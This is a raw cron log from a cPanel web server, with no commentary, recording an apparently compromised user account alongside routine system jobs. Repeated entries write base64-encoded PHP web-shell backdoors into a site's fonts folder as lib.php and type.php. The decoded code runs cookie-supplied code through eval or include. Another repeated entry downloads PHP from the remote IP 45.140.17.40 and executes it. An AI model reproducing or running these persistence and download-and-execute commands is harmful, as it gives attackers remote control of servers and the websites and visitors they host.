Sep  8 16:30:01 ip-184-168-122-23 CROND[17945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:30:01 ip-184-168-122-23 CROND[17944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:30:01 ip-184-168-122-23 CROND[17949]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:30:01 ip-184-168-122-23 CROND[17942]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:31:01 ip-184-168-122-23 CROND[18051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:31:01 ip-184-168-122-23 CROND[18052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:31:01 ip-184-168-122-23 CROND[18053]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 16:31:01 ip-184-168-122-23 CROND[18055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:31:01 ip-184-168-122-23 CROND[18056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:32:02 ip-184-168-122-23 CROND[18177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:32:02 ip-184-168-122-23 CROND[18179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:32:02 ip-184-168-122-23 CROND[18180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:32:02 ip-184-168-122-23 CROND[18182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:32:02 ip-184-168-122-23 CROND[18181]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:33:01 ip-184-168-122-23 CROND[18260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:33:01 ip-184-168-122-23 CROND[18262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:33:01 ip-184-168-122-23 CROND[18266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:33:01 ip-184-168-122-23 CROND[18267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:34:01 ip-184-168-122-23 CROND[18351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:34:01 ip-184-168-122-23 CROND[18353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:34:01 ip-184-168-122-23 CROND[18355]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:34:01 ip-184-168-122-23 CROND[18354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:34:01 ip-184-168-122-23 CROND[18356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:35:01 ip-184-168-122-23 CROND[18464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:35:01 ip-184-168-122-23 CROND[18467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:35:01 ip-184-168-122-23 CROND[18468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:35:01 ip-184-168-122-23 CROND[18469]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:35:01 ip-184-168-122-23 CROND[18471]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 16:35:01 ip-184-168-122-23 CROND[18472]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:35:01 ip-184-168-122-23 CROND[18470]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 16:35:01 ip-184-168-122-23 CROND[18474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:36:01 ip-184-168-122-23 CROND[18588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:36:01 ip-184-168-122-23 CROND[18590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:36:01 ip-184-168-122-23 CROND[18591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:36:01 ip-184-168-122-23 CROND[18592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:36:01 ip-184-168-122-23 CROND[18593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:37:01 ip-184-168-122-23 CROND[18697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:37:01 ip-184-168-122-23 CROND[18699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:37:01 ip-184-168-122-23 CROND[18702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:37:01 ip-184-168-122-23 CROND[18701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:38:01 ip-184-168-122-23 CROND[18889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:38:01 ip-184-168-122-23 CROND[18890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:38:01 ip-184-168-122-23 CROND[18893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:38:01 ip-184-168-122-23 CROND[18891]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:38:01 ip-184-168-122-23 CROND[18895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:39:01 ip-184-168-122-23 CROND[19011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:39:01 ip-184-168-122-23 CROND[19013]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 16:39:01 ip-184-168-122-23 CROND[19014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:39:01 ip-184-168-122-23 CROND[19018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:39:01 ip-184-168-122-23 CROND[19019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:40:01 ip-184-168-122-23 CROND[19132]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 16:40:01 ip-184-168-122-23 CROND[19133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:40:01 ip-184-168-122-23 CROND[19137]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:40:01 ip-184-168-122-23 CROND[19139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:40:01 ip-184-168-122-23 CROND[19138]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:40:01 ip-184-168-122-23 CROND[19143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:40:01 ip-184-168-122-23 CROND[19145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:40:01 ip-184-168-122-23 CROND[19146]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:41:01 ip-184-168-122-23 CROND[19233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:41:01 ip-184-168-122-23 CROND[19235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:41:01 ip-184-168-122-23 CROND[19236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:41:01 ip-184-168-122-23 CROND[19238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:42:01 ip-184-168-122-23 CROND[19327]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:42:01 ip-184-168-122-23 CROND[19328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
